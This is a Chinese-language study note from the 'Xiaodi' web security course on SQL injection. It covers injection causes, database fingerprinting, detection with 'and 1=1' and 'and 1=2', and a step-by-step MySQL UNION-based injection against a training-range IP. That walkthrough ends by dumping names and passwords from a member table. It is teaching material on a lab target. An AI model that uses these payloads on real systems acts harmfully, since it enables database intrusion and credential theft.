《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入
Posted 风冷晨
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入相关的知识,希望对你有一定的参考价值。
前言
在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
注:左边的比右边的难,学习顺序为从右向左。
一、忍者安全测试系统使用说明
二、上述思维导图简要说明
操作系统:windows和linux对大小写敏感不同,如果查了操作系统可以避免这个问题。
数据库名:如果不知道数据库名查询的时候会有问题。
数据库用户:判定是否为高权限,如果是高权限则选择的余地更多。
文件读写:文件读写需要路径,所以可以通过文件读写查到路径。
注:数据库5.0以上为高版本,5.0以下为低版本。
三、SQL注入安全测试中危害
1、通过注入点直接获取权限,操作后台数据库,危害数据
2、通过注入点获取部分内容,之后通过其他方法来获取权限,危害网站权限
注:如果SQL语句中不存在变量,则不能操作,也就不会产生漏洞。
四、SQL注入产生原理详细分析
(1)可控变量,带入数据库查询,变量未存在过滤或过滤不严谨,即如果过滤比较严谨,则没有注入点。
(2)通过参数传递到原有的SQL语句中,从而实现自定义的查询。即把恶意代码传递到对方网站中。
注:(1)和(2)是一个意思。
(3)例题
①下列可能存在注入的编号选项有哪几个?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10(虽然前面没有index.php,但是网站默认是加上的。)
www.xiaodi8.com/?id=10&x=1(两个参数,哪个能注入用哪个)
www.xiaodi8.com/index.php(post注入)
答案:四个都对,但是以目前的实力来说,只能理解到12或者123,。
②参数x有注入,以下哪个注入正确?
www.xiaodi8.com/news.php?y=1 and 1=1&1=2(and 1=1应该写在x后面)
www.xiaodi8.com/news.php?y=1&x=2 and 1=1
www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1(前面是xx,后面是xxx,参数名不对)
答案:bc
注:注入点要写在id的后面。
五、搭建第一个SQL注入学习靶场环境
https://blog.csdn.net/weixin_43211186/article/details/103008549
https://www.fujieace.com/penetration-test/sqli-labs-ec.html
注:前半部分用第一个,后半部分用第二个。
六、数据库结构
1、mysql数据库
(1)结构
数据库a=网站a
表名
列名
数据
数据库b=网站b
表名
列名
数据
数据库c=网站c
表名
列名
数据
(2)注入过程
- 获取数据库对应网站
- 获取表名
- 获取列名
- 获取数据
(3)数据库基本命令
show databases; 显示数据库名
use 数据库名 使用这个数据库
show tables 显示所有表(表名)
select * fn_member; 所有范围内查询member(*表示查询所有)
select password from fn_member; 在fn_member表里查询password列
七、怎么判断数据库类型
1、前端与数据库类型
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
2、根据端口判断
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306
3、根据数据库特有函数来判断
(1)len和length
len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。
(2)version和@@version
version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数
(3)substring和substr
MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring
4、根据特殊符号进行判断
/*
是MySQL数据库的注释符
--
是Oracle和SQL Server支持的注释符
;
是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#
是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
5、根据数据库对字符串的处理方式判断
(1)MySQL
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
(2)Oracle
http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'
(3)SQL Server
http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab'
6、根据数据库特有的数据表来判断
(1)MySQL(version>5.0)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
(2)Oracle
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
(3)SQL Server
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
7、根据盲注特别函数判断
(1)MySQL
BENCHMARK(1000000,ENCODE(‘QWE’,‘ASD’))
SLEEP(5)
(2)PostgreSQL
PG_SLEEP(5)
GENERATE_SERIES(1,1000000)
(3)SQL Server
WAITFOR DELAY ‘0:0:5’
八、如何判断注入点
1、老方法
(1)过程
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
(2)原理
在数据库中存在逻辑运算符(或or、且and、非xor),用and 1=1来判定。如果是1=1表示真且真,其中且就是and,如果是1=2则为真且假,逻辑不成立,所以返回的是错误页面。
2、新方法
在id=1的后面随便输入东西,如果有错误,则说明他带入了数据库查询了,则说明有注入点
注:如果结果是404错误或者直接跳转,则说明网站对输入的东西有检测,则说明这个网站没有漏洞。
九、学习第一个数据库MySQL简单注入
1、注入步骤
(1)判断注入
(2)猜解列名数量(字段数) order by x 错误与正常的临界值
http://219.153.49.228:48354/new_list.php?id=1 order by 4
(3)报错猜解准备(目的是为了让它报错)
http://219.153.49.228:48354/new_list.php?id=1%20union%20select%1,2,3,4
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4
注:报错数字是随机产生,报错什么数字就用什么数字查,比如报了2和3,则用2和3查。
(4)查询
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,database(),version(),4 (查询数据库名称和数据库版本)
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4 (查询数据库用户和操作系统)
注:@@version_compile_os后面没有括号!!!
(5)查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
注解:
union%20select 查询
table_name 表名
information_schema.tables 记录所有表名信息的表
where 条件
table_schema 数据库名
mozhe_Discuz_StormGroup 需要查询的数据库名
group_concat(table_name) 查询所有表名
(6)查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
(7)查询指定数据
http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,name,password,4 StormGroup_member
2、信息收集
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名称:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
3、必要知识点
(1)在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
(2)数据库中符号
.
代表下一级,如xaiodi.user表示xiaodi数据库下的user表名。(3)information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
注:猜解多个数据可以采用limit,x,1变动猜解,x为变量值
十、案例演示:
1、简易代码分析SQL注入原理
2、Sqlilabs注入靶场搭建简要使用
3、墨者靶机真实MYSQL注入演示
十一、涉及资源:
https://github.com/Audi-1/sqli-labs
QQ群文件-忍者安全测试系统-禁用软盘安装
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
以上是关于《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入的主要内容,如果未能解决你的问题,请参考以下文章